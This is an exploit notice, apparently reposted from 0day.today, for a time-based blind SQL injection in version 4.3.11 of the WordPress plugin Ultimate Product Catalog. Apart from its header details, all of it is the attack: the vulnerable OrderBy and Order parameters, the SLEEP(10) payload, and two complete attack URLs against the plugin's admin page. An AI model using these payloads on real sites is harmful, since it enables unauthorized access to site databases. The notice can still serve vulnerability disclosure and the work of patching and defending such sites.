WordPress Ultimate Product Catalog 4.3.11 Plugin - SQL Injection Vulnerability
PHP:
# # # #
# Exploit Title: WordPress Plugin ultimate-product-catalogue (4.3.11) - SQL Injection
# Dork: N/A
# Date: 13.08.2018
# Vendor Homepage: http://www.etoilewebdesign.com
# Software Link: https://wordpress.org/plugins/ultimate-product-catalogue
# Version: 4.3.11
# Tested on: WiN7_x64/
#
# # # #
# Exploit Author: 41!kh4224rDz
# Contact:[email protected]
# # # #
# ------------------------------SQLInjection----------------------------------------
# :
# Parameter : Categories&OrderBy=
# Payload : 1%' AND SLEEP(10)%23
#
# 1)
#
http://localhost/[PATH]/wp-admin/admin.php?page=UPCP-options&DisplayPage=Categories&OrderBy='AND SLEEP(10)%23ASC
#
# 2)
# Parameter : Category_Description&Order
# Payload : 1%' AND SLEEP(10)%23
http://localhost/[PATH]/wp-admin/admin.php?page=UPCP-options&DisplayPage=Products&OrderBy=Item_Description&Order=1%' AND SLEEP(10)%23
# # # #
# 0day.today [2018-08-14] #